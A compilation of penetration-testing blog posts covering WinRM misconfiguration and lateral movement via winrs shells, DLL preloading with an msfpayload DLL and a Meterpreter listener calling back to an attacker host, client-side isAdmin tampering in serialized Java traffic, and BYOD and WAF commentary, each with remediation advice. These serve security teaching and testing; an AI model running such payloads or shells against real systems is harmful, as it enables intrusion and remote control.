Exploiting Trusted Hosts in WinRM

Introduction – What is WinRM?

Windows Remote Management (WinRM) is a SOAP based protocol that can be used to remotely administer machines over the network. This is a handy tool for network admins that can also be used to automate tasks securely across multiple machines. However, it is fairly easy to misconfigure the service and/or abuse the service with legitimate account access.

How to mess up the WinRM configuration

In my personal experience with configuring the WinRM service, I have found it hard to get anything working correctly without completely removing security controls from the configuration. Scale my frustrations up to a domain level and you very quickly have poorly secured configs going out to hosts across a domain. It should be noted that the following commands should not be used for an actual WinRM configuration. These are just examples of the multiple ways that this service can be configured to run insecurely . Quick steps for configuring WinRM insecurely: Note: These are all commands that are run from a command shell with administrative privileges.

  1. Start the WinRM service. The only requirement to start the service is that none of your network interfaces can be set to “Public” in Windows. This typically isn’t an issue in domain environments. The command itself is not really a security issue, it’s just needed to actually run the WinRM service.winrm quickconfig
  2. Allow WinRM commands to be accepted through unencrypted channels (HTTP).winrm set winrm/config/service @{AllowUnencrypted=”true”}
  3. Allow WinRM command to be sent through unencrypted channels (HTTP).winrm set winrm/config/client @{AllowUnencrypted=”true”}
  4. Enable “Basic” network authentication for inbound WinRM connections to the server.winrm set winrm/config/service/auth @{Basic=”true”}
  5. Enable “Basic” network authentication for outbound WinRM client connections. So, when you make a WinRM connection to another host with the local WinRM client, you can authenticate using “Basic” authentication.winrm set winrm/config/client/auth @{Basic=”true”}
  6. Allow credentials to be relayed out to another host using the CredSSP protocol. This allows the host receiving commands to pass incoming credentials on to another host for authentication.winrm set winrm/config/service/auth @{CredSSP=”True”}

In order to authenticate against the service remotely, the authenticating account either has to be the same as the service account running the WinRM service, or a member of the local administrators group. This also means that any service set up to run scripted jobs through WinRM has to have access to credentials for a local administrator account.

What can we do with this?

Let’s assume that you have access to a host on a network and you have domain credentials, but there are no escalation points for you to follow on the host. If the WinRM service is set up to listen on other hosts in the domain, you may have the ability to use the service to gain remote access to the other hosts. Let’s say that you want to gain remote access to host on the domain, but RDP is not enabled (or your account does not have RDP access). The open ports 5985 and 5986 (TCP) indicate that the WinRM service may be running on the remote host. You can identify the service with the following command:

winrm identify -r: –auth:none

The response should look something like this:

IdentifyResponse ProtocolVersion = ProductVendor = Microsoft Corporation ProductVersion = OS: 6.1.7601 SP: 1.0 Stack: 2.0

Once you’ve determined the service is running, you can try to run commands against the remote host with the Windows Remote Shell (winrs) command:

winrs -r: -u:domainnameuseraccount “dir c:”

You can also use this with HTTPS on port 5986, as that may be your only option. If you change the “dir c:” to “cmd” you will have a remote shell on the host. That should look something like this:

winrs -r: -u:domainnameuseraccount “cmd”

While the remote shell will only be running under your account’s privileges, there may be other escalation options on your new host.


As you can see, the WinRM service can be very powerful and useful for legitimately administering systems on the domain. It also can be used by attackers to work their way through the internal network. With any network service, determine your business need for the service before it is implemented. If the service is needed, then ensure that the service is securely configured before it is deployed. If you’re thinking about using WinRM, make sure that you only allow specific trusted hosts and limit users in your local administrators groups.


Testing Applications for DLL Preloading Vulnerabilities

DLL preloading (also known as sideloading and/or hijacking) is a common vulnerability in applications. The exploitation of the vulnerability is a simple file write (or overwrite) and then you have an executable running under the context of the application. The vulnerability is fairly easy to identify and even easier to exploit. In this blog, I will be showing you how identify and exploit DLL preloading vulnerabilities, as well as give you tips on how you can protect yourself from these vulnerabilities.

What is it?

DLL preloading happens when an application looks to call a DLL for execution and an attacker provides a malicious DLL to use instead. If the application is not properly configured, the application will follow a specific search path to locate the DLL. The application initially looks at its current directory (the one where the executable is located) for the DLL. If the DLL is not found in this location, the application will then continue on to the current working directory. This can be very helpful if the malicious DLL can be loaded along with a file, as the file and DLL can be accessed by multiple people on a network share. From there it’s on to the system directory, followed by the Windows directory, finally looking in the PATH environmental variable for the DLL. Properly configured applications will require specific paths and/or proper signatures for DLLs in order to use them. If an attacker has write access to the DLL or a location earlier within the search path, they can potentially cause the application to preload their malicious DLL.

How to identify vulnerable DLLs

Personally, I like to use Dependency Walker for static analysis on all of the DLLs that are called by the application. Note that Dependency Walker will not catch DLLS that are compiled into the application. For a more dynamic approach, you can use ProcMon. ProcMon can be used to identify vulnerable applications by identifying DLLs called during runtime. Using ProcMon for the Net Stumbler program, we can see that the application makes multiple calls to the MFC71ENU.DLL file.


We identify vulnerable DLLs by the locations that they are called from. If the location is controlled by an attacker, the application is potentially vulnerable. Here we can see that NetStumbler (version 0.4.0) is looking for the mfc71enu.dll file in a number of different directories, including the tools directory from which I opened a .ns1 NetStumbler file. This is not a guarantee that the application is vulnerable. The application may use some secondary measures (integrity checks) to prevent DLL tampering, but this is at least a good start for trying to attack the application.

How to exploit it

Once a vulnerable DLL is identified, the attack is fairly simple.

  1. Craft your malicious DLL with Metasploit
    1. msfpayload PAYLOAD LHOST= LPORT=8443 D > malicious_DLL.dll
      1. PAYLOAD, LHOST, and LPORT are up to you
      2. D denotes that you are creating a DLL payload
    2. Place the replacement DLL in the vulnerable directory and rename it to the name of the vulnerable DLL.
    3. Set up your listener
      1. Run the Metasploit console
      2. msf > use exploit/multi/handler
      3. msf exploit(handler) > set LHOST
      4. msf exploit(handler) > set LPORT 8443
      5. msf exploit(handler) > exploit –j
        1. This will start the listener as a job, allowing you to handle multiple ses-sions.
    4. Run the application (or open your file with the DLL in the same folder). Once the applica-tion makes the call to the vulnerable DLL, the Meterpreter payload will execute. If this is done on a network share, this could have a much greater impact.
    5. The Metasploit sessions –l will list out the active sessions and sessions –i (SessionNumber) will let you interact with the session.

For this version of Net Stumbler (0.4.0), the application is vulnerable through the mfc71enu.dll file. Below is an example of a malicious DLL placed in the directory of a Net Stumbler file. When the TestStuble.ns1 file is opened, the application will use the malicious DLL located in the current directory and create a Meterpreter session.


How to fix it or prevent it

DLL preloading can be a helpful attack during a penetration test, but it doesn’t have to be a pain to fix.

For application developers:

  • Require set paths for DLLs in applications

For system administrators:

  • Disable write permissions to relative application folders
  • Utilize least privilege access to prevent users (and applications) from having too much access to the system

For both groups:


As you can see, DLL preloading is still a common issue with applications. Hopefully this blog can help give you some insight on how the attack works and what you can do to lock down your applications to prevent this issue.

If you want some examples of vulnerable applications, ExploitDB has a great list.


Android Exploitation Technical Paper Release

I’ve been playing around with some Android exploitation lately, and I wanted to clarify the risks associated with storing domain credentials anywhere on a mobile device. Obviously, gaining access to your email or calendar could expose some sensitive information, or could allow for password resets via email or some social engineering, but I feel like the real risk lay elsewhere. Most mobile devices when associated with an Exchange server will store credentials in cleartext. This means that any malicious attacker who can get root access to your phone can gain access to your domain credentials. The risk this presents is dependent on your organization, but if your organization has any external resources accessible via RDP or uses AD authentication on the VPN, an attacker can just hop right into your environment. This is true on Android and iOS for sure; to prove it to you, my technical paper has practical guidelines on how to extract credentials from a mobile phone. Check it out! Download “Dark Harvest – Active Directory Credentials on Mobile Devices


Thoughts on Web Application Firewalls

I recently attended a talk given by an engineer from a top security product company and, while the talk was quite interesting, something that the engineer said has been bugging me a bit. He basically stated that, as a control, deploying a web application firewall was preferable to actually fixing vulnerable code. Web application firewalls (WAFs) are great in that they provide an additional layer of defense at the application layer. By filtering requests sent to applications, they are able to block certain types of malicious traffic such as cross-site scripting and SQL injection. WAFs rarely produce false positives, meaning that they won’t accidently block legitimate traffic. And WAFs can be tuned fairly precisely to particular applications. Additionally, WAFs can filter outbound traffic to act as a sort of data leak prevention solution. But is installing a WAF preferable to writing secure code? Or, put differently, is having a WAF in place reason enough to disregard secure coding standards and remediation processes? I don’t think so. WAFs, like other security controls, are imperfect and can be bypassed. They require tuning to work properly. They fall victim to the same issues that any other software does: poor design and poor implementation. While a WAF may catch the majority of injection attacks, for example, a skilled attacker can usually craft a request that can bypass application filters (particularly in the common situation that the WAF hasn’t been completely tuned for the application, which can be an extremely time-consuming activity). We have seen this occur quite often in our penetration tests; the WAF filters automated SQL injection attempts executed by our tools but fails to block manually crafted injections. I’m not saying that organizations shouldn’t deploy web application firewalls. However, rather than using a WAF in place of good application secure application development and testing practices, they should consider WAFs as an additional layer in their strategy of defense-in-depth and continue to address application security flaws with code changes and security validation testing.


UPEK + Lenovo = Insecure Password Storage

Recently Adam Caudill and ElcomSoft identified vulnerabilities in the way that UPEK fingerprint readers store Windows passwords in the registry. Adam has released a great proof-of-concept tool to decrypt these poorly encrypted passwords. I have access to a Lenovo T420 ThinkPad that features a UPEK fingerprint reader. The ThinkVantage Fingerprint Software is also vulnerable to this UPEK issue. The issue with the ThinkPad software affects credentials that are entered by the user in the ThinkVantage Fingerprint Software. Since I do not use the fingerprint reader for Active Directory authentication, I do not regularly update my password in the software. So when I initially ran the decryption tool, the tool came back with my password from several months ago. For users who regularily use the fingerprint reader for AD authentication, this could be a major issue. If you have this software on your machine and want to keep it on your machine, I would recommend the following:

  1. Set a disposable password for your Windows account
  2. Open up the “ThinkVantage Fingerprint Software” (Accessible from the ThinkVantage Client Security Solution menu)
  3. Enter your disposable password in the software and click “Submit”:Lenovo
  4. Close out the software and only authenticate to the application with your fingerprint.
  5. Once your password has been updated, it may be worth compiling Adam Caudill’s tool to double check that the password has been changed:
  6. Additionally, you can use the reveal password button to show the current password stored by the application.
  7. Finally, full disk encryption is a good idea, regardless of your use of a fingerprint reader. If someone steals your computer, full disk encryption will prevent them from recovering data (including registry keys) from the hard drive.

Pentesting Java Thick Applications with Burp JDSer

Recently I stumbled upon a Java Rich Client pentest project. Fortunately, the communication was made via HTTP, so it was possible to manipulate requests and response with our favorite tool, Burp.

Unfortunately, the app has been transmitting data in serialized Java format. So the intercepted requests and responses look like this:

Img E B D

After a little bit of Google searching, I came across this very well-written article about Java serialization and tried out his tool: BurpDSer. After scratching my head off for a few hours, installing dependencies, and still not getting it to work (there’s some problem with IRB Shell not popping up), I began searching for alternative solutions. Luckily I found this excellent SANS blog which outlined high level steps to make a Burp Deserialization plugin. So I put together a simple implementation of that idea. I hope it will be helpful for pentesters as well as developers in dealing with serialized Java applications.

In this blog post, I will cover following information:

  1. Setup Burp proxy
  2. Inspect Java client
  3. Run BurpJDSer
  4. Fuzz for server errors
  5. Bypass client side controls
  6. Remediation path
  7. Introduction


BurpJDSer is a Burp plugin that will deserialize/serialize Java request and response to and from XML with the help of Xtream library. BurpJDSer utilizes native Java technology to deserialize/serialize Java request, thus no additional software is required.

Let’s consider this dummy Java app that communicates with a servlet via HTTP. It’s a very simple search box which sends SearchObject to a server. Server responses with a SearchResult object back. If it indicates that client has admin privilege, the gray text will become red.

Img E B C E Fd
Figure 1: Sample Client

Step 1: Set up Burp proxy

  • If the program is started from the command line (java –jar client.jar), add the following flags:Dhttp.proxyHost= -Dhttp.proxyPort=<Burp port>
  • If the program is started from browser (Java Web Applet), make sure JVM set to use browser proxy settings (Windows Control Panel > Java > Network Settings) or explicitly set to use Burp proxy.

    Img E B De

    Figure 2: Configure Java Network Settings on Windows

  • If the program communicates via HTTPS, import PortSwigger Root Certificate to your favorite browser.

Also consider these instructions from Burp author if the above method fails to intercept HTTP traffic:

Step 2: Download and Inspect Client jar

  • Download the Java client to your computer. This can be done viewing HTML response from the page that loads Java applet. A sample applet tag that reveals location of the client jar file: <applet code=”com.example.client” archive=”SerializedClient.jar”>
  • Use any Java decompiler to decompile the target jar file. My favorite is JD-GUI from
  • What to look for: any hardcoded passwords, backdoors, communication methods, SQL queries,etc.

    Img E B Edfe

Step 3: Run the BurpJDSer plugin

Step 4: Inspecting traffic

  • When setup properly, we should see some traffic captured by Burp.
  • Essentially, what the plugin does is to convert serialized request to XML for you to modify, than convert back from XML to serialized object before sending to the server

    Img E B D F

  • Similarly for the response, the plugin will deserialize to XML and then serialize back to Java object so that it won’t break the client.

    Img E Baa Faa

    In this example, SSN is included in the response, but not shown in the client.

Step 5: Fuzzing for server error with Repeater and Intruder

  • This plugin will also perform conversion of Java object when processed in Burp Repeater/Intruder for your convenience
  • Fuzz for server vulnerabilities such as SQL Injection, Command Injection, Authorization Bypass, etc.

    Img E Bb E

    Img E Bbc F

Step 6: Test for client-side authorization bypass

The plugin also has support for serializing requests/responses from XML to Java format. This may come in handy in case you need to bypass client check or enable hidden features of the client. Below is an example of how to do this

  • Intercept server response
  • Find and modify hidden parameter to access hidden priviledges. In this example, I set isAdmin parameter to “true” in order to bypass client-side restriction.

    Img E Bcf E

    Img E Bded E

Remediation path

  • Don’t rely on Java serialization as a method of encryption
  • Don’t include redundant data in the response, even if it’s not displayed on client GUI
  • Obfuscate your code: choose a obfuscator that also encrypts String constants such as ZelixClassMaster
  • Validate input serialized data
  • Consider sealing and signing serialized objects with javax.crypto.SealedObject


The source code and executable are available at:
Feel free to leave comments there. Thanks to Scott and Antti for your feedback on the tool.

You may also want to check out other tools of the same category:

Happy hacking!


BYOD & Security Assessments

Bring Your Own Device (BYOD) is a big topic at the moment and I’m sure that you’re already looking at how to address BYOD functionally or have already implemented BYOD at your organization.  I’m not going to debate the pros and cons of BYOD.  I’m also not going to argue for or against it from a security perspective – at this point being ‘for or against’ is irrelevant, it’s happening whether or not the security team thinks it’s a good idea. What I’m going to address in this post is a very high-level discussion about how best to identify and address the technical risks that BYOD will expose in your environment.  From the perspective of security, what BYOD really means is that what was historically a fully ‘internal’ environment is now exposed to ‘outside’ threats.  A comprehensive approach to address internal security (which was often not understood and therefore not fully funded by executives – I mean ‘it’s behind the firewall, right?’) is now even more critical to your organization.  If the CEO and CFO want to use their personal iPads at work, then they need to understand the security risks that they are inherently accepting by pushing for a BYOD environment. Even though many organizations have already implemented BYOD, I’m going to start this quick discussion as if you haven’t yet done so.  Why?  For two reasons:

  1. Because there are companies out there that haven’t yet put an approach in place and
  2. You may not have been given the time/resources/budget that you know you needed when being pushed to implement BYOD and you might need more ammunition when you go to the top execs to explain to them why they now have a security problem…

In the list of things I’m not going to do – I’m also not going to talk about specific device management technology, anti-virus options, etc. because, frankly, I’m not qualified and there are so many options out there right now vying for dominance that it would take too long to go through all of the various pieces and parts of this rapidly changing space (even if I did have the expertise). So, onto a quick review of the assessment steps that would be completed prior to/post BYOD implementation…

  1. Pre-BYOD
    1. Risk Assessment
      1. You need to perform a real risk assessment – documenting the risks associated with the internal environment, the inclusion of devices not entirely within your control, and what applications and data are going to be potentially exposed to individuals working with their own technology.
      2. Executives need to understand the risks and agree that the benefits to the organization outweigh those risks
      3. During this process you should also document requirements of any of the technology solutions that are going to be chosen to facilitate BYOD.  This is going to be heavily informed by the risk assessment – make sure that the solutions/policies/processes under consideration address the risks identified in the risk assessment
    2. Network Architecture Review: This can be performed as part of the risk assessment, but someone (preferably someone external to the team actually managing the networks) needs to review both current network architecture and the proposed architecture for BYOD.  This includes reviewing any firewalls that are being put in place to segment the BYOD environment away from other critical internal environments.
    3. Technical Assessment of the environment pre-implementation: Why?  Because any existing issues that have been masked by the fact that the environment was internal (or were simply ignored because management didn’t put any priority on protecting the network from insider threats) may now be a lot more relevant.  You need to fully understand the issues associated with your internal environments now that you are going to be bringing outside devices in behind the external firewalls
  2. Post-BYOD
    1. Post-implementation Penetration Test: A good penetration test (not just a scan or fully-automated assessment) is really necessary post BYOD implementation.  If done properly this pen test will provide a reasonably good review of everything that is exposed via the BYOD environment.  Make sure that whomever is doing the testing (again, not the people responsible for the BYOD implementation or the general network management) is looking at all three layers of the environment – application, infrastructure, and OS.  This should catch any major security issues associated with configuration, network management, and the applications or data that are exposed to the BYOD devices.
    2. Periodic Assessments: Organizations now routinely assess their external environments on a regular schedule; however, this is not always the case with internal environments.  With BYOD this needs to change – the internal environment needs to be looked at a lot more frequently than in the past and should receive the same scrutiny and attention as the external network.

Ultimately, as a security professional, BYOD should just be one more area of attention in your vulnerability management program, but it’s an area that some of the non-technical executives don’t always understand.  Hopefully, by taking the proper steps to review and assess the BYOD environment both pre- and post-implementation, your organization can enjoy the benefits of BYOD while minimizing the risk.

Discover why security operations teams choose NetSPI.